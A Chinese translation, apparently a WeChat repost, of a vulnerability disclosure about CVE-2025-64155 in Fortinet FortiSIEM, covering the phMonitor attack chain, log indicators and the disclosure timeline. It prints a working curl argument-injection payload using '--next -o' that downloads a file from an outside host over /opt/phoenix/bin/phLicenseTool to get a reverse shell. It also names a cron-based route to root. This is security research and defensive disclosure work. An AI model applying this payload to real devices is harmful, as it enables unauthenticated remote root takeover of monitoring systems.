文章总结： 文档披露FortinetFortiSIEM存在CVE-2025-64155漏洞，攻击者可利用phMonitor服务未认证的参数注入，通过curl参数注入实现任意文件写入并获取远程代码执行权限。结合提权漏洞可完全控制设备。文章详述攻击链与检测方法，建议管理员检查日志并尽快安装补丁以防范攻击。 综合评分： 88 文章分类： 漏洞分析,漏洞预警,渗透测试

CVE-2025-64155：Fortinet FortiSIEM 远程 Root 漏洞已存在三年

Ots安全

2026年1月15日 14:14 广东

威胁简报

恶意软件

漏洞攻击

2025 年 8 月，Fortinet 发布了针对 CVE-2025-25256 的安全公告，该漏洞是一个命令注入漏洞，会影响 FortiSIEM 设备。在 8 月份的公告发布后，我们决定深入调查并评估情况，最终发现了以下问题：

未经身份验证的参数注入漏洞会导致任意文件写入，从而允许以管理员身份远程执行代码。

一个利用文件覆盖进行权限提升的漏洞，可导致root访问权限

这些漏洞已被报告并分配了CVE-2025-64155 编号。我们的概念验证漏洞利用程序可以在我们的GitHub上找到。

FortiSIEM 历史

我们对 FortiSIEM 并不陌生，因为在过去几年中，我们对其进行了漏洞研究，并报告了多个安全问题：

• CVE-2023-34992：phMontior 服务命令注入
• CVE-2024-23108：phMonitor 服务二阶命令注入漏洞

虽然这些漏洞从未被列入 CISA 已知利用漏洞目录，但在 2025 年初，Black Basta 勒索软件组织的聊天记录被泄露，显示他们讨论过 FortiSIEM 漏洞。

FortiSIEM 概述

图 1. FortiSIEM 部署示例

FortiSIEM 提供多种不同的服务，可以部署在多种不同的网络架构中：

• 一体化服务器：将所有角色和服务集成在单个服务器上
• Supervisor <-> Collector 部署：Supervisor 聚合从所有远程 Collector 收集的数据。

一般来说，所有这些部署都包含 phMonitor 服务，不同角色通过 TCP/IP 协议上的自定义消息进行通信和数据共享。该服务也是过去几年中所有已发现漏洞的入口点。

有关架构的更深入了解，请参阅我们之前针对CVE-2023-34992漏洞的说明。

重新深入 phMonitor 服务

phMonitor 服务会根据 API 请求中发送的命令类型，将传入的请求分发到相应的函数处理程序。每个处理程序都会以各自的方式处理发送的有效负载数据，有些处理程序需要格式化的字符串，有些则需要 XML 格式。

图 2. phMonitor initEventHandler 函数

在 phMonitor 内部，phMonitorProcess::initEventHandler每个命令处理程序都被映射到一个整数，该整数会作为命令消息的参数传递。安全隐患一在于，所有这些处理程序都暴露在外，任何远程客户端都无需身份验证即可调用它们。initEventHandler该函数暴露了数十个处理程序。在以前，该函数暴露了设备的大部分管理功能，包括获取和设置收集器密码、获取和设置服务密码、与远程收集器建立反向 SSH 隧道等等。现在，它暴露的攻击面已大大减少。

图 3. 硬化前暴露的示例操作

之前报告的漏洞利用了handleStorageRequest存储类型参数为 <storage type 1> 的情况NFS，这次我们检查了存储类型为 <storage type 2> 的流程elastic。当存储请求类型为 <storage type 1> 时elastic，它会解析 XML 有效负载中的不同标签，例如client_typecluster\_name< storage type 2> cluster_ip、 <storage type 3>、<storage type 4>、<storage http\_porttype 5> 等。

图 4. 从 XML 消息有效负载中解析弹性变量

当变量组合正确时，控制权将传递给脚本，最终elastic_test_url.sh使用用户可控的已解析变量构建对脚本的调用。

图 5. handleStorageRequest 格式化用户控制的数据

先前报告的漏洞版本主要涉及直接命令注入和二阶命令注入，这导致系统实用程序和大多数可调用脚本进一步加强，现在都使用subprocess.run()而不是os.system()。

图 6. handleStorageRequest 调用更安全的 system() 包装器处理用户控制的数据

该包装器通过添加实用程序来转义用户控制的输入wrapShellToken——本质上是将脚本的所有参数用单引号括起来，以防止直接命令注入。对于存储类型为 elastic 的数据库，要执行的具体命令handleStorageRequest是：

/opt/phoenix/phscripts/bin/elastic_test_url.sh'<cluster_name>''<cluster_url>'

考虑到这些保护措施，我们深入研究elastic_test_url.sh脚本。我们发现，如果提供了两个参数，它会构造一个curl调用，并将我们用户控制的参数附加到末尾，然后调用该test_health函数。

图 7. elastic_test_url.sh 入口点

该test_health函数接受完全构造的 curl 命令，并通过OUTPUT=”$($1)”第 22 行执行它

图 8. test_health 函数

乍一看，这本身似乎存在漏洞，但通过跟踪执行过程，我们发现它curl被传递给了execve。。

图 9. Strace 显示 execve 执行 curl

尽管 curl 的执行环境仅限于 curl 命令本身，但它却能执行诸如将文件保存到任意位置等强大的操作。将 curl 参数注入攻击者控制的字符串中，或许就能让我们在某个位置写入文件，从而获得代码执行权限。

output通过将标志 (-o) 注入字符串“-o /tmp/pwned http://10.0.40.83:9200 ”来测试这个理论，我们发现它正确地将我们的标志解析为一个有效的标志，并且我们已经实现了向 curl 注入参数。

图 10. execve 解释输入并证明论证注入

不幸的是，脚本在执行过程中出现了问题——由于添加了大量的引用保护，导致脚本崩溃。如果您检查 execve 输出中的前几个参数，会发现它错误地解析了 Content-Type 标头，将其解释为“ -H’Content-Type: ”和“ application/json ”。这个错误足以让 curl 忽略请求中后续注入的参数，而是尝试将其解析为要解析的 URL。

图 11. curl 请求出错时忽略链式参数

但是，curl 还有另一个鲜为人知的特性和标志。这个–next标志允许你在一次 curl 命令执行中串联多个 curl 请求。

图 12. curl 手册页显示下一步

通过精心格式化我们控制的字符串，使其使用下一个标志（这是第一个主机参数之后的预期标志），我们可以正确地将输出标志注入到流水线请求中。由于我们现在控制了整个 curl 上下文，因此我们可以在管理员用户的上下文中将任意内容写入任意位置。

<cluster_url>http://10.0.40.83:9200 --next -o /opt/phoenix/bin/phLicenseTool http://10.0.40.83:9200</cluster_url>

我们使用输出将 bash 反向 shell 写入现有文件/opt/phoenix/bin/phLicenseTool，该文件每隔几秒钟在 FortiSIEM 服务器上执行一次，并很快收到反向 shell。

图 13. 通过参数注入实现反向 shell

要提升权限并完全控制设备，我们需要找到提权途径。首先，我们从简单的攻击向量入手，查看定时任务（cronjob）中定期执行的脚本。我们发现，root 用户的 crontab/etc/cron.d/fsm-crontab仅执行 root 用户拥有的脚本和二进制文件，但这些脚本和二进制文件会调用许多非 root 用户拥有的脚本。

图 14. fsm-crontab 条目

其中一个二进制文件可以由管理员写入，但必须由 root 用户执行/opt/charting/redishb.sh。该文件由设备每分钟执行一次。向该文件写入反向 shell 可以允许从管理员权限提升到 root 权限，从而完全攻陷 FortiSIEM 系统。

图 15. 来自 crontab 作业的 root shell

妥协的迹象

log/opt/phoenix/log/phoenix.logs 详细记录了 phMonitor 服务收到的消息内容。以下是利用系统漏洞时的日志示例：

图 16. 示例日志，显示对 elastic_test_url.sh 的恶意滥用

日志行将包含PHL_ERROR并记录确切的行，其中包括从中下载有效载荷的 Web URL 以及有效载荷写入系统上的具体文件。

时间线

2025年8月14日 – 向Fortinet PSIRT报告的漏洞

2025年8月14日 – Fortinet PSIRT 已确认收到

2025年9月16日——Fortinet重现了研究结果

2025年11月5日——我们询问时间安排，因为90天期限即将到来。

2025年11月5日 – Fortinet PSIRT 回应称，FortiSIEM 的 5 个主要分支中有 4 个已完成补丁修复，但还有 1 个分支尚未收到补丁，因此将错过通常的 90 天披露期限。

2026年1月5日——我们再次询问时间安排，因为现在已经过去了144天。

2026年1月5日 – Fortinet PSIRT回应称，他们希望在1月份的补丁周期内修复最后一个分支并发布CVE编号。

2026年1月13日 – Fortinet发布PSIRT安全公告

2026年1月13日——这篇博文是在最初报道发布151天后撰写的。

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：Ots安全 《CVE-2025-64155：Fortinet FortiSIEM 远程 Root 漏洞已存在三年》